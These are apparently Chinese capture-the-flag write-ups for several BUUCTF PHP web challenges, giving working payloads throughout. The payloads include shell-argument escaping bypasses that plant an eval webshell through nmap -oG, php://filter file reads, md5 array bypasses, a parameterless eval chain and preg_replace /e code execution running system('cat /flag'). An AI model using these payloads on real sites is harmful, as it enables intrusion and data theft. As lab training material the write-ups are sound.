buuoj_code_audit
[BUUCTF 2018]Online Tool
知识点:escapeshellarg()和escapeshellcmd()函数漏洞、nmap的文件写入
打开靶场就是代码审计
remote_addr和x_forwarded_for这两个是常见的服务器获取ip,问题应该不在这。
escapeshellarg()和escapeshellcmd()百度一下,发现这两个函数组合在一起有漏洞,举例如下:
1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。
4.最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
接着审计代码echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这有个system来执行命令,而且有传参,肯定是利用这里了。
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,输入会被单引号引起来,但是因为有上面的漏洞所以可以逃脱这个引号的束缚。
常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转义。
这时候就只有想想能不能利用nmap来做些什么了。搜索可以发现在nmap命令中有一个参数-oG可以实现将命令和结果写到文件,这个命令就使我们的输入可控,然后写入到文件,可以上传一个一句话木马。
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
执行后会返回文件夹名
然后蚁剑连接,找到flag
一些细节的错误会导致无法访问,例如:
1.后面没有加引号
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php
输出:''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php\'
返回结果是文件名后面会多一个引号
2.加引号但引号前没有空格
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'
输出:''\\'' \<\?php phpinfo\(\)\;\?\> -oG test.php'\\'''
文件名后面就会多出\\
参考:https://blog.csdn.net/qq_26406447/article/details/100711933
[极客大挑战 2019]Secret File
主页提示
F12看一下源代码发现 Archive_room.php 页面
点击 secret 按钮页面会跳转到 end.php
提示“没看清”,用 burp 抓包发现提示 secr3t.php
访问 secr3t.php 看到一小段源码
访问 flag.php 看到“我就在这里”的提示
所以思路是审计 php 代码片段,用文件包含漏洞读取 flag.php 源码,传入的 file 经过了一些过滤,但是仍可以使用 php://filter 获取文件,payload:http://5bdc0d10-b0a7-4f18-9983-09b5b9612be8.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php 复制加密内容 base64 解密即可得到 flag
参考:
https://www.cnblogs.com/g0udan/p/12244878.html
[MRCTF2020]Ez_bypass
f12 得到格式化好的源码
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
主要就是这两句代码,绕过得到 flag
if (md5($id) === md5($gg) && $id !== $gg) payload:?id[]=a&gg[]=b if (!is_numeric($passwd) && $passwd==1234567) payload:passwd=1234567a
[GXYCTF2019]禁止套娃
扫描器扫到 .git 文件,githack 恢复出 index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析源码
<?php
include "flag.php";
//flag应该在flag.php
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
//需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
//过滤了常用的几个伪协议,不能以伪协议读取文件
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//(?R)引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。它所匹配的就是a(b(c()));类似这种可以括号和字符组成的无参数的函数
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
//正则匹配到一些关键字,禁用一些函数
@eval($_GET['exp']);
//典型的无参数RCE
想办法读取 flag.php,首先需要得到当前目录下的文件,scandir() 函数可以扫描当前目录下的文件
<?php
print_r(scandir('.'));
?>
所以如果有函数能够返回点(.)的话,就可以利用它作为 scandir() 函数的参数
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是点(.)
- current() 返回数组中的当前单元, 默认取第一个值
- pos() 函数是 current() 的别名
- current(localeconv())永远都是个点
?exp=print_r(scandir(current(localeconv()))); ?exp=print_r(scandir(pos(localeconv())));
现在的目标是读取倒数第二个数组 flag.php,把数组顺序颠倒一下,然后使用 next() 函数就可以读到 flag 了
- next() 函数将内部指针指向数组中的下一个元素并输出
- array_reverse() 函数返回翻转顺序的数组
- highlight_file() 和别名函数 show_source() 都可以读源码
?exp=show_source(next(array_reverse(scandir(current(localeconv()))))); ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
[BJDCTF2020]ZJCTF,不过如此
打开题目代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
通过 text 传参绕过第一个 if
?text=data://text/plain,I have a dream
flag 被过滤了,但是提示有 next.php,读一下源码
file=php://filter/convert.base64-encode/resource=next.php
读出的 next.php base64 解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace /e 模式下的代码执行问题这篇文章分析的很详细 https://xz.aliyun.com/t/2557
//将第一行代码构造成第二行的模式 preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str); preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});
但是直接构造 .*=${phpinfo()} 会出问题,传上去的 .* 变成了 _*,这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,构造如下参数可以成功执行命令
?\S*=${phpinfo()}
再利用源码中的 getFlag 函数读取 flag
?\S*=${getFlag()}&cmd=system('cat /flag');